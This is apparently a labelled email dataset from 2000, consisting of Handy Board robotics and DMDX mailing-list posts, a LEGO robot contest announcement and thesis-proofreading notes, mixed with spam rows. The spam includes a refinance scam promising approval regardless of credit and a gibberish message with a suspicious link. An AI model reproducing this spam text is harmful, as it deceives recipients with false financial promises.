April 2000)"," The 10th LEGO My Egg-O Robotic Egg Hunt is being held on Sunday, 30 April 2000, 12:30-3:00 PM, at the Cleveland Great Lakes Science Center. Admission to the Egg Hunt proper is free. The Egg Hunt is the final design competition of the course I teach here at Case Western Reserve University, called Autonomous Robotics. Students build autonomous robots from LEGOs and controlled by MIT 6.270 boards (the ancestor to the Handy Board) programmed in IC. The contest in brief: teams of 2 robots each compete in a walled arena to collect colored plastic eggs and return them to home base ""nests"" distinguished by polarized light beacons. Colored eggs are worth +1 each, but flat-black eggs are worth -4 points each. Robots on the same team may cooperate or operate independently. Both offensive and defensive strategies are allowed (e.g., you can collect black eggs and put them in your opponent's nest), but destructive strategies are forbidden (e.g., no chainsaws or blowtorches). Contest rounds last 10 minutes each, and a modified double- elimination tournament is used to determine the winner. Detailed information can be found on the course webpage at: http://www.eecs.cwru.edu/courses/lego375/ For those of you (most of you) who won't be able to attend in person, we are also having a live webcast of the Egg Hunt. RealPlayer 7 Basic (the free version) is required. Click on the picture of Cambot on the course webpage to get to the webcast. *NOTE* the current URL for the webcast points to an internal CWRU RealServer. We are trying to arrange for discovery.com to serve the webcast for us; if this works, the URL will change. The ""click on Cambot"" will always work. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Fri, 28 Apr 2000 17:17:25 +0000",Re: problems met in my project,"In lugnet.robotics.handyboard, Lo Veng Cheong writes: >Dear Sir, > I am a student who is doing a mobile robot project. Since I am really >a freshman in Robotics. So, I would like to ask you to help me to solve >some problems met in my project. Please forgive me if my questions are >too simple! There are no simple questions, only simple people! Apologies to whomever originated the quote that I just butchered. ;-) > And now, my problem is that I have no idea on how the robot can identify >the target objects. I do haven't any basic concept on that. Can you please >first teach me so basic knowledge on object identification first. Our robots do not have the rich sensory input that we enjoy. We have to help them along quite often by making their environment understandable to their limited sensors. This is especially so if we lack the funding of a DARPA project! So, lets lean back and think about what our 'bots can actually see on our budgets. We have IR sensors, heat sensors, ferrous metal sensors and SONAR sensors that are economical for us to use. SONAR has so many problems when used for something other than simple range finding that we can rule them out right away. Specular reflections, temperature boundries and even air pressure and ""soft"" surfaces goof them up and will make them unreliable for object detection and recognition, especially recognition! That leaves IR, heat and metal detectors. Lets look at the pros and cons of these choices: IR: Pros - a beacon can be installed on the objects to recognize. Each object having a different beacon message can further differentiate them. - Using a highly directional beacon searcher can locate an object pretty well. Cons - There is a lot of IR in our environment, need to modulate and error correct for this. - Can be finicky getting the proper range for the beacon - Can be finicky getting a highly directional sensor! Heat: Pros - PIR sensors are common, work well and are inexpensive - PIR can be very directional if desired Cons - How to make the target warmer than its environment? - How do you sort out different temperature signatures? Metal: Pros - There are a LOT of Hall-effect sensors of many sensitivities - A plastic or non-ferrous field with metal objects will work well - Non Hall-effect, simple conduction may be all that is required Cons - Range of Hall-effect devices is usually not large. - Difficulty in finding a work area without conflicting metal signatures Any other comments? When designing a robotic application you have to consider the design of the robot, environment, and purpose - change any one and you render the system inoperable. My favorite is the IR beacon, cheap, simple and mostly reliable, IMO. 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Beebe"" ","java-users@csc-sun.math.utah.edu, general@utahjava.org","Sat, 29 Apr 2000 12:14:32 -0600",Recent Java developments for high-performance computing,"The recent Volume 39, number 1, 2000 issue of the IBM Systems Journal is all about Java, and I found many interesting papers there: http://www.research.ibm.com/journal/sj39-1.html All papers are freely available electronically. There are several papers on very significant performance improvements of the Java Virtual Machine and Java runtime library implementations, and of just-in-time compilation, that are helping to bring Java performance much closer to that attainable by code written in C, C++, or Fortran. One paper in particular is strongly-recommended reading for those of you who are interested in Java for numerical computing: @Article{Moreira:2000:JPH, author = ""J. E. Moreira and S. P. Midkiff and M. Gupta and P. V. Artigas and M. Snir and R. D. Lawrence"", title = ""Java programming for high-performance numerical computing"", journal = j-IBM-SYS-J, volume = ""39"", number = ""1"", pages = ""21--56"", month = ""????"", year = ""2000"", CODEN = ""IBMSA7"", ISSN = ""0018-8670"", bibdate = ""Mon Apr 24 15:43:02 MDT 2000"", URL = ""http://www.almaden.ibm.com/journal/sj/391/moreira.html"", acknowledgement = ack-nhfb, } The authors describe freely-available Java class libraries that radically improve Java performance for array operations and complex arithmetic: in some cases, a speedup of 40x has been demonstrated. The article begins with an excellent discussion of the weak areas of Java for numerical computing, making it a nice complement to another recent article in this subject area: @InProceedings{Boisvert:1998:DNL, author = ""Ronald F. Boisvert and Jack J. Dongarra and Roldan Pozo and Karin A. Remington and G. W. Stewart"", title = ""Developing numerical libraries in {Java}"", crossref = ""ACM:1998:AWJ"", pages = ""??--??"", year = ""1998"", bibdate = ""Thu Apr 27 10:43:08 2000"", URL = ""http://www.cs.ucsb.edu/conferences/java98/papers/jnt.ps; http://www.cs.ucsb.edu/conferences/java98/papers/jnt.pdf"", acknowledgement = ack-nhfb, } @String{pub-ACM = ""ACM Press""} @String{pub-ACM:adr = ""New York, NY, USA""} @Proceedings{ACM:1998:AWJ, editor = ""{ACM}"", booktitle = ""ACM 1998 Workshop on Java for High-Performance Network Computing"", title = ""{ACM} 1998 Workshop on Java for High-Performance Network Computing"", publisher = pub-ACM, address = pub-ACM:adr, pages = ""????"", year = ""1998"", ISBN = ""????"", LCCN = ""????"", bibdate = ""Thu Apr 27 10:40:59 2000"", note = ""Also published as {\\em Concurrency: Practice and Experience}, {\\bf 10}(11--13), September 1998, CODEN CPEXEI, ISSN 1040-3108."", URL = ""http://www.cs.ucsb.edu/conferences/java98/program.html"", acknowledgement = ack-nhfb, } Another useful resource on numerical issues in Java is the IBM Ninja Web site: http://www.research.ibm.com/ninja/ ------------------------------------------------------------------------------- - Nelson H. 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Here is my code: long sonar_sample() { int start_time; int help; overflow_counter=0L; poke(0x1023, 1); /* clear tic3 flag */ start_time=peekword(0x100e); /* capture start time */ bit_set(0x1008, 0x20); /* trigger pulse */ bit_clear(0x1024,0b10000000); /* TOI cleared => TOF read by software */ while (!(peek(0x1000) & 0x1)) { /* wait until receive echo */ if (peek(0x1025)&0b10000000) { overflow_counter=overflow_counter+1L; bit_clear(0x1025,0b10000000); } if (overflow_counter>=4L) { /* if too much time has elapsed, abort */ bit_clear(0x1008, 0x20); return -1L; } defer(); /* let others run while waiting */ } bit_clear(0x1008, 0x20); /* clear pulse trigger */ help =peekword(0x1014)-start_time; return overflow_counter*65535L +(long)help; /* tic3 has time of echo */ } Thanks Martin ",0,0 """Jonathan C. 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Would it effect Handyboard's performance in any way? WE have our final presentation tomorrow and we don't want any disaster to happen. Thank you for your inputs. Lee ",0,0 Marco Malaigia ,KIM LEE JUNG ,"Wed, 03 May 2000 17:50:48 +0200",Re: heart beating slowly.,"Dear Lee, It sounds like your HB's heart is suffering from Murphy's syndrome........ Hope your presentation will go well. :-) Marco ",0,0 Bill Bynum ,handyboard@media.mit.edu,"Wed, 03 May 2000 13:19:56 -0400",Problem with analog() proc using IC 2.81,"Hello, everyone: I have 18 HandyBoard/LEGObugs and I'm in the process of building 18 expansion boards with 9 completed so far. I use the public domain IC 2.81 (for William & Mary, like most schools, the price is right) on a LINUX platform. I have edited the smooth PWM routines of Julian Skidmore into libhb.c. I have run into a weird inconsistency problem with the analog() proc in testing the new expansion boards. All 9 completed expansion boards have the problem. I don't think that I'm making any errors in constructon, but I'm afraid to make any more expansion boards until I know what is causing the problem. I can illustrate the problem with a few analog() calls. I have an IR sensor that is taped to a LEGO jig that is taped to my desk. This is to ensure that the sensor doesn't move and that the value returned by the sensor stays constant. The sensor is pointed away from any IR reflectors. In normal usage, its readings range from 8 to 244. First, I'll plug the sensor into analog port 6 to test the value of the sensor (_raw_analog() has never failed me yet), then I'll move the sensor to port 16 on the expansion board and take several readings. Nothing is plugged into analog port 17. ---------------------------------------------------------------------- Interactive C for 6811. Version 2.860 BETA (Jul 1 1996) IC written by Randy Sargent and Anne Wright. Copyright 1994. (uses board pcode by R. Sargent, F. Martin, and A. Wright) WARNING: this version is under construction and may not work! This program is freeware and unsupported. It is provided as a service to hobbyists and educators. Type 'about' for information about support and obtaining newer versions of IC. Attempting to link to board on port /dev/ttyS1 Synchronizing with board Pcode version 2.81 present on board Loading /home/mom4/bynum/lib/ic/lib_hb.lis. Loading lib_hb.c. Loading lib_hb.icb. Loading libexpbd.icb. Loading expsens.c. Loading expservo.icb. Loading sonar.c. Initializing interrupts Downloading 2052 bytes (addresses 8000-8803): 2052 loaded Globals initialized. Type 'help' for help C> analog(6); Downloading 9 bytes (addresses C200-C208): 9 loaded Returned 236 <<<<< the ""trusted"" value of the sensor C> analog(16); Downloading 9 bytes (addresses C200-C208): 9 loaded Returned 234 <<<<< sensor moved to port 16, value probably OK C> analog(17); Downloading 9 bytes (addresses C200-C208): 9 loaded Returned 251 <<<<< OK, empty port C> analog(16); Downloading 9 bytes (addresses C200-C208): 9 loaded Returned 19 <<<<<<<<<<<< the inconsistent reading C> analog(16); Downloading 9 bytes (addresses C200-C208): 9 loaded Returned 234 <<<<< probably OK C> bye ---------------------------------------------------------------------- The problem appears every time an analog(16) call is preceded by an analog(17) (or analog(anything_else) call to exercise the mux). To try to locate the problem, I looked for something in the libexpbd.asm file and I found what I think is a teeny error that unfortunately has nothing to do with the problem. One possible error could be in the last of the following three lines from libexpbd.asm. I think that the statement should probably be ""anda #7"" instead of what is shown. * A has mux#, B has A/D port# subroutine__exp_analog: andb #7 ; keep in range The _exp_analog() calls in analog() are either: return _exp_analog((port-16)<<8); (for ports 16-23) or return _exp_analog(((port-24)<<8)+1); (for ports 24-31) As I understand it, the 8-bit left shift will move the A/D port number (between 0..7) into the A register. The first call leaves 0 in the B register, while the second leaves 1 in the B register. Thus, A contains the mux number (between 0..7), and B contains the A/D port number (0 or 1). The rest of the _exp_analog code seems to assume this placement of values, too. I propose substituting the ""anda #7"" for ""andb #7"", because I am assuming that the mux value is being kept in range. The A/D port# is either 0 or 1, so the masking statement for the A/D port#, if there is one, should be ""andb #1"". However, in the case of the analog(16) call, the call in analog() translates into the statement return _exp_analog((16-16)<<8); (for ports 16-23) This is an _exp_analog(0) call, so that in this case, both A and B are zero, and my two changes above have no effect whatsoever. I've tried adding a delay loop after the ""bsr setmux"" call in _exp_analog, hoping that allowing the mux a little more time would help. It didn't. I lengthened the delay loop waiting for the A/D reading to 67 cycles (with an ldaa #13), but this didn't help, either. I am stumped. Does anyone have an idea of what is going wrong here? Bill Bynum",0,0 KIM LEE JUNG ,handyboard@media.mit.edu,"Wed, 03 May 2000 13:39:40 -0400",Communication system,"Hi, Does any one know how to use(Program) Ming Microsystem RF transmitter and Receiver with handyboard? Thank you all for your inputs. Lee ",0,0 Chen Yung Hsu ,handyboard@media.mit.edu,"Wed, 03 May 2000 15:20:45 -0400",Re: sharp GP2D02,"Hi everybody: I'm new at using the GP2D02 sensor. these might be some dumb questions but, I know that the sensor plugs into the digital input of the handyboard and one digital output of the expansion board but how do i program it to know which ports to read? thanx in advance crash and burned ",0,0 James Munro ,KIM LEE JUNG ,"Wed, 03 May 2000 14:37:09 -0500",Re: Communication system,"Check out Kam Leang's page at http://www.leang.com/kam His robotics: information pages show exactly how to do this. Regards, Jim Munro On Wed, 3 May 2000, KIM LEE JUNG wrote: > Hi, > Does any one know how to use(Program) Ming Microsystem RF transmitter and > Receiver with handyboard? Thank you all for your inputs. > > Lee > >",0,1 rrlist@bigfoot.com,handyboard@media.mit.edu,"Wed, 03 May 2000 15:49:26 -0400",50 Megs of web space for $9.95 a month!," 50 Megs of web space for $9.95 a month!!!! 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I'm confused. > Erin Looks like it came in through the original Handy Board mailing list handyboard@media.mit.edu at MIT which is gatewayed with the lugnet.robotics.handyboard group/list. Hmm, that makes two spams now in the past few days. I don't think the HB mailing list software at MIT filters messages, and LUGNET's mail-to-news gateway accepts anything that comes in from a gatewayed external mailing list (it has to, or else it would reject regular messages from regular people). If it gets to be a real problem, we'll have to sever the link. (IIRC, it's Fred's eventual intention to migrate the list entirely away from the MIT server.) BTW, Fred, if you get this message, there's now a simplified subscription page to point people to which is HB specific: http://www.lugnet.com/news/mail/sub/?lugnet.robotics.handyboard and avoids the big huge complicated subscription settings list. --Todd ",0,1 Julian Simmons ,DMDX@psy1.psych.arizona.edu,"Thu, 04 May 2000 12:00:02 +1000",[DMDX] Video cards & timing.,"Dear All, I am new to DMDX, but my experience so far been most enjoyable. Many thanks! I believe it will become a very valuable research tool within our lab. I have two questions that I'm hoping someone will be able to help me with: 1. I have a slave computer which needs to run both DMDX and VPM. The difficulty is in finding a video card which has both the DOS utilities required by VPM and the windows requirements of DMDX, especially a decent amount of on board memory. We have an STB Nitro 3D which seems to do the job with 4Mb, but still seems to produce quite a few timing errors when I run *.bmp masking experiments. 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Martin"" ",handyboard@media.mit.edu,"Wed, 03 May 2000 23:25:02 +0000",Re: What the? (Was: Re: 50 Megs of web space for $9.95 a month!),"todd's right, the MIT list has no spam protection, if it gets bad we'll have to move all remaining subscribers from the MIT side and go 100% lugnet. right now i still have 300+ people on the MIT list -- urgh. fred In your message you said: > In lugnet.robotics.handyboard, Erin Windross writes: > > Um...........sorry if this has happened before but, was this approved by > > Todd to be posted on Lugnet? Or is it just a spam program that hacked into > > Lugnet? I'm confused. > > Erin > > Looks like it came in through the original Handy Board mailing list > handyboard@media.mit.edu at MIT which is gatewayed with the > lugnet.robotics.handyboard group/list. > > Hmm, that makes two spams now in the past few days. I don't think the HB > mailing list software at MIT filters messages, and LUGNET's mail-to-news > gateway accepts anything that comes in from a gatewayed external mailing list > (it has to, or else it would reject regular messages from regular people). > If it gets to be a real problem, we'll have to sever the link. (IIRC, it's > Fred's eventual intention to migrate the list entirely away from the MIT > server.) > > BTW, Fred, if you get this message, there's now a simplified subscription > page to point people to which is HB specific: > > http://www.lugnet.com/news/mail/sub/?lugnet.robotics.handyboard > > and avoids the big huge complicated subscription settings list. > > --Todd > ",0,1 Gilbert Taylor Engle ,Rufus ,"Wed, 03 May 2000 08:14:50 -0800",I'm sure that's the store where Alex likes to buy,"Hey Rufus, I'm sure that's the store where Alex likes to buy http://ujdwkc.gumshail.net/?dfuckwdkvjkt as Dannie Felix now drawn Rufus coat own, are amatory crowd now will came Rufus MERGE_GROUP_13 own colorado MERGE_GROUP_13 you polarimeter cowpony in circumferential. ",1,1 JULIAN REYES ,handyboard@media.mit.edu,"Wed, 03 May 2000 18:02:54 -0700",I need some help,"Hi guys I have some problems with the assembly of my HB because I don't find some of the components, I hope some of you can help: What replacement can i use for the motor driver l293D? What is a ""voltage monitor"" , What another device can I use for the DS1233? What replace can I use for the transistors NPN ZTX614? Do anybody know some ECG replacement? The polyswitch i a common fuse? Which it Amperage is? Can I use any Inductor of 1uH? I won`t use use a infrared sensor infrarojo, should I assemble the ir demodulator? THANKS JULIAN ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 04 May 2000 14:16:38 +1000",[DMDX] Re: Video cards & timing.,"Dear Julian, I can't answer your first question, but I can answer the second. If you set the timing to 4%, DMDX will present each frame for 4 screen refreshes. Your screen refresh is unlikely to be 10ms, so a 4% stimulus probably won't appear for 40ms. You need to check the refresh rate using TimeDX to determine how long the screen refresh takes. Bear in mind that the refresh rate might vary when (if) you change the screen resolution. That is, you might have different refresh rates for 640x480 pixels and 1152x864 pixels. As for how much the display times will vary between trials, one of the great things about DMDX, is that the presentation times are almost always millisecond accurate. If anything happens to the system that might compromise this accuracy, you will get a message in your output .azk file (if you use ascii output anyway). I hope this helps. Michael Johnston >Dear All, > >I am new to DMDX, but my experience so far been most enjoyable. Many >thanks! I believe it will become a very valuable research tool within our lab. >I have two questions that I'm hoping someone will be able to help me with: > >1. I have a slave computer which needs to run both DMDX and VPM. The >difficulty is in finding a video card which has both the DOS utilities >required by VPM and the windows requirements of DMDX, especially a decent >amount of on board memory. We have an STB Nitro 3D which seems to do the >job with 4Mb, but still seems to produce quite a few timing errors when I >run *.bmp masking experiments. Does anyone have any suggestions? > >2. The second question relates to that most important DMDX issue, >timing. I'm writing a backwards masking *.rtf file, and need the initial >picture to appear for 40msec. I've been setting the presentation time at >4%. I need to know whether this is 40msec, and how much this may vary. I >realize this will be influenced by the hardware, and TimeDX settings, I'm >essentially just looking for some assurance. It's not my experiment, and >thus I'd like to get it right (or nearly) the first time. > >Any advice would be much appreciated. > >Julian. > >===================================================== >Julian Simmons >School of Behavioural Science >Department of Psychology >University of Melbourne >Victoria 3010 >Australia. > >j.simmons1@pgrad.unimelb.edu.au >Ph: +61 3 8344-0326 Mobile Ph: +61 3 0413-497-105 Fax: +61 3 9347-6618 >===================================================== > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at > his earliest convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== =============================================== Dr Michael Johnston School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/ ",0,1 Robert ,handyboard@media.mit.edu,"Wed, 03 May 2000 23:26:17 +0200",Your Re-finance application has been pre-approved,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://gm0rt.com Don't worry about approval, your credit will not disqualify you! Sincerely, Robert Approval Manager ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 04 May 2000 09:40:03 -0700",[DMDX] Re: Video cards & timing.,"At 12:00 PM 5/4/00 +1000, you wrote: >Dear All, > >I am new to DMDX, but my experience so far been most enjoyable. Many >thanks! I believe it will become a very valuable research tool within our lab. >I have two questions that I'm hoping someone will be able to help me with: > >1. I have a slave computer which needs to run both DMDX and VPM. The >difficulty is in finding a video card which has both the DOS utilities >required by VPM and the windows requirements of DMDX, especially a decent >amount of on board memory. We have an STB Nitro 3D which seems to do the >job with 4Mb, but still seems to produce quite a few timing errors when I >run *.bmp masking experiments. Does anyone have any suggestions? Would have thought absolutely all video cards made these days provided good DOS support, certainly every one I have from NVIDIA does. The timing errors you are running into are probably caused by there not being enough time to move the next frame into memory because you are using a prohibitively deep display mode (unless of course you are using a D parameter in which case stop using it). For instance at 1024x768x16 there is only one extra frame buffer in 4M of video memory so DMDX must always have to move the next frame into video memory in the time that the previous frame is displayed, difficult if that frame is a prime that is displayed for a couple of ticks. Using 800x600x16 frees up another back buffer so DMDX has two frames in which to move the data, 640x640x16 frees up even more. In any event, unless your VPM program is using register level access for a specific chipset (in which case it's not DOS level compatibility that you need but a chipset compatibility and my guess is you'll never find it) I'd be surprised if any 16M video card that you picked up didn't solve your problems, they all provide VESA 1.2 (or better) support and are all register compatible with the standard VGA chipset, beyond that there is no more to DOS compatibility. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ First Law of Bicycling: No matter which way you ride, it's uphill and against the wind. ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 04 May 2000 09:49:44 -0700",[DMDX] Re: Video cards & timing.,"Julian Simmons, At 12:00 PM 5/4/00 +1000, you wrote: >1. I have a slave computer which needs to run both DMDX and VPM. The >difficulty is in finding a video card which has both the DOS utilities >required by VPM and the windows requirements of DMDX, especially a decent >amount of on board memory. We have an STB Nitro 3D which seems to do the >job with 4Mb, but still seems to produce quite a few timing errors when I >run *.bmp masking experiments. Does anyone have any suggestions? I don't know what VPM is, but it seems unlikely that it would require a special graphics card. Jonathan's DMDX Updates page is the place to look for info about hardware that has problems with DMDX. My guess is that your timing errors are due to other factors, such as trying to briefly display a .bmp file that is too large. >2. The second question relates to that most important DMDX issue, >timing. I'm writing a backwards masking *.rtf file, and need the initial >picture to appear for 40msec. I've been setting the presentation time at >4%. I need to know whether this is 40msec, and how much this may vary. I >realize this will be influenced by the hardware, and TimeDX settings, I'm >essentially just looking for some assurance. It's not my experiment, and >thus I'd like to get it right (or nearly) the first time. Using a frame timer of %4 would give you 40 ms only if the refresh interval is 10 ms. You need to use TimeDX to find out what your refresh interval is. Note that this changes with different screen resolutions. Note also that you need to store these values in the Registry, using TimeDX | Advanced | Vertical Retrace Sync Thread. --Ken Forster ",0,0 Barry Brouillette ,handyboard@media.mit.edu,"Thu, 04 May 2000 20:40:02 +0000",Re: sharp GP2D02,"Hi, I've got a bunch of information about using the GP2D02 at: http://www.salesworkbench.com:48331/GP2D02/ Barry In lugnet.robotics.handyboard, Chen Yung Hsu writes: >Hi everybody: > >I'm new at using the GP2D02 sensor. these might be some dumb questions >but, I know that the sensor plugs into the digital input of the handyboard >and one digital output of the expansion board but how do i program it to >know which ports to read? > >thanx in advance > >crash and burned",0,1 Julian Simmons ,DMDX@psy1.psych.arizona.edu,"Fri, 05 May 2000 11:49:55 +1000",[DMDX] Re: Video cards & timing.,"Dear DMDX, Thank you all. Particularly for getting back to me so quickly. Buffering (or lack of) certainly seems to be the issue for the errors that are occurring with the masking *.rtf. As for the VPM/DMDX problem, the card I have in one PC is an NVidia Video-78 128 ZX (8Mb). This card is fine for DMDX, but in VPM it starts having DOS mode troubles which can not be corrected by changing the mode. I contacted the manufacturers (Jaton Corp.), who suggested I contact NVidia to get DOS utilities for the card. NVidia did not respond to my request. A new computer that has just arrived in the lab with an S3 Inc. Trio 3D/2X video card. This supports both DMDX and VPM rather well. I'll probably install this card in the computers that are currently having VPM issues. Thanks again. Julian. At 09:49 AM 04-05-00 -0700, you wrote: >Julian Simmons, > >At 12:00 PM 5/4/00 +1000, you wrote: >>1. I have a slave computer which needs to run both DMDX and VPM. The >>difficulty is in finding a video card which has both the DOS utilities >>required by VPM and the windows requirements of DMDX, especially a decent >>amount of on board memory. We have an STB Nitro 3D which seems to do the >>job with 4Mb, but still seems to produce quite a few timing errors when I >>run *.bmp masking experiments. Does anyone have any suggestions? > > I don't know what VPM is, but it seems unlikely that it would > require a special graphics card. Jonathan's DMDX Updates page is the > place to look for info about hardware that has problems with DMDX. My > guess is that your timing errors are due to other factors, such as trying > to briefly display a .bmp file that is too large. > > >>2. The second question relates to that most important DMDX issue, >>timing. I'm writing a backwards masking *.rtf file, and need the initial >>picture to appear for 40msec. I've been setting the presentation time at >>4%. I need to know whether this is 40msec, and how much this may vary. I >>realize this will be influenced by the hardware, and TimeDX settings, I'm >>essentially just looking for some assurance. It's not my experiment, and >>thus I'd like to get it right (or nearly) the first time. > > Using a frame timer of %4 would give you 40 ms only if the > refresh interval is 10 ms. You need to use TimeDX to find out what your > refresh interval is. Note that this changes with different screen > resolutions. Note also that you need to store these values in the > Registry, using TimeDX | Advanced | Vertical Retrace Sync Thread. > > --Ken Forster > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at > his earliest convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ===================================================== Julian Simmons School of Behavioural Science Department of Psychology University of Melbourne Victoria 3010 Australia. j.simmons1@pgrad.unimelb.edu.au Ph: +61 3 8344-0326 Mobile Ph: +61 3 0413-497-105 Fax: +61 3 9347-6618 ===================================================== ",0,1 Pamela Johnson ,pamela.johnson@resumecard.com,"Thu, 04 May 2000 19:27:29 -0400",,"Dear Friend: I'm writing to tell you about ResumeCARD.com - the Internet's first site dedicated to career networking. Because you've been identified for this special promotion, we are offering you a limited time FREE offer: *** EMAIL us your resume, and we will BUILD YOU for FREE an interactive HTML Resume complete with your own URL (resumecard.com/YOUR_NAME) AND send you 100 personalized ResumeCARDs FREE. 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Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 05 May 2000 09:12:16 -0700",[DMDX] Re: Video script Error,"At 05:03 PM 5/5/00 +0100, you wrote: >Hi. I get the following message when I try and run (someone's) script with >a video in a file... > >Failed to open file >VFW_E_NOT_FOUND (80040216) >An object or name was not found > > >Any ideas? Is this just that a file has not been found or is it something >more serious? Never tried video stuff before so please can you make the >explanation fairly simple. Means the same thing as a missing graphic or sound file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law stands mute in the midst of arms. ",0,0 """H.W. Lenstra"" ",was@math.berkeley.edu,"Sat, 06 May 2000 15:51:41 +0200",May 6,"Dear William, Welcome back from Australia! I hope you had a good time here. Yes, I had several further looks at your thesis. However, it is hard to find the time to type them in. When I am sitting at my computer there always seems to be something that needs to happen first. At any rate, I am now coming in on a weekend and get something done. I have been reading big chunks and found them pleasantly written. My remarks are mostly cosmetic. They refer to a version I printed a while ago. I hope my references are clear, if not just ask. Somewhere in sec 1.2 you have `v-1'. What is a place minus one?! A little later in unramified -> is unramified -- added a remark ""Next suppose that~$J$ has good reduction at~$v$ and that~$v$ is {\\em odd}, in the sense that the residue characteristic of~$v$ is odd. To simplify notation in this paragraph, since~$v$ is a non-archimedean place of $\\Q$, we will also let~$v$ denote the odd prime number which is the residue characteristic of~$v$."" Section 1.3. I find you explain the contents of the tables badly. What is (line 6 of sec 1.3) the message that you are trying to convey with the bold face display N isogeny class ? I see (in that first column) a number followed by a letter. How do the letter and the isogeny class determine each other? By means of some standard table? Which? The least the reader can expect is that you explain what the symbols in the table header mean. And you want to try and give a description of which cases ARE in the table. When you say `most ... 2593 ... 2161', are there also cases left out below 2161? You are very vague. And, what you write about the fourth column seems to refer to the fifth. Please reconsider everything you say about the tables. >fixed. Sec 1.3.1: why is this a `justification'? You seem to say there are very few of rank greater than 0. That would seem to be e reason to include them, not to omit them. > I changed it to an *example* Spacing second line of chapter 2 is very ugly. > I had a ""Merel ~\\cite""!! Def 2.1: is Z[epsilon] defined? > Bjorne already made me fix this. Just before Th 2.6: anitholomorphic -> anti... > thanks! Early on in sec 2.4.3: a sentence with two `also''s in quick succession. > found already... Prop. 2.13: well-defined (IN prop) or well defined (first line proof)? Be consistent. That same 1st sentence of the proof has one `that' too many. > See my email defense of the subtle use of hyphens depending on gramatical > context. Just before Prop. 2.25: `He gives ...': who is `He'? The previous sentence makes no mention of a male person. > oops! I was referring to Cremona by his reference. End sec. 2.6: you say `plus or minus quotient'. Earlier it was `plus one' and `minus one'. > thanks. Second paragraph 2.7: the sentence `The reader ...' doesn't run, and in the next sentence `our' = `ours'? > ouch; i butchered that par... First line proof 2.29: separate 2.6 from \\cal S; and next line defined -> define > ok. Algorithm 3.2, step 1: algebra over =? do you mean arithmetic in? > I meant ""algebra over Z/NZ"". However, I can see how that might > sound funny to some people and it is not precise, so I've change > to ""arithmetic in"". And in step 2: does sigma act on THE SET of Manin symbols? > yep; that's better. Def 3.10: necessary to define at THIS stage? We have seen epsilon already many times. What is n in Lemma 3.11? > I changed to ""Recall that a Dirichlet char. is..."" I also got rid > of ""continuous"" which is silly since (Z/NZ)^* has the discrete topology! A bit later: why parentheses in (n')th? > Because Bjorn complained! At first I didn't have paranthesis. > Now I'll just change n' to ""m"". classes of mod p Dirichlet characters are in bijection with ...: the SET of such IS in bijection with the set ... . > got it. In def 3.13 restrict M to divisors of N. > Woops!! Why repeat the def in Th 3.14? > Basically because I'm copying the theorem pretty mch verbatim > from [13]. What do you think? It's maybe helpful if someone didn't > see defn. 13... Sec 3.6.5, display tr(a_..) lacks comma after tr(a_5) > got it. before the display with the signs: with - corresponding to -> with $-$ corresponding to > done. End of sec 3.7: is through its action: omit `is'. > done. End sec 3.9, beinning 3.10: `isogeneous', I'd write `isogenous' (since you don't pronounce it like `homogeneous'). > got it, and found two more instances using grep. Just after Def 3.34, separate k=2 from theta_f. > done, by inserting ""the map"" Lemma 3.40: need a condition to guarantee that tau_i(L or M) are lattices. (Is that condition satisfied in your application?) > I see -- tau_i could fail to be injective on V, but still > be injective on L. > In my application I *do* know that the tau_i(L) are lattices. Early sec 3.12: Essentialy -> Essentially > woops! Proof of Th 3.42, `As in Mazur's proof of ': something lacking. > woops! In sec. 3.13 you talk about f and say `we do not assume that g is an eigenform', but there is no g. > changed ""g"" to ""f"" In 3.13.1: respect -> respects > got it Alg 3.47: 1/cN -> 1/(cN) > got it Proof of 3.48: too much space before the footnote-2. > fixed with an evil negative space. 3.13.7: Fourier coefficient -> Fourier coefficients > got it 3.13.8, beginning: the the -> the > got it. Chapter 4 still needs to be looked at. I did not proofread the present message, if there are obscurities just ask. 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Gathright"" ",handyboard ,"Sun, 07 May 2000 14:06:42 -0500",battery charger board,"Hi Folks, Had a bad experience with my handyboard thos past week, I left it on charge accidently for two days-could possibly even been in the zap mode I'm not sure. What did happen was the battery was dead ,r-11 was hot and turned black and the diode bridge was hot. The charge led does not lightwhen power is applied in normal mode or zap mode. The mole ac adapter regesters 19 volts while 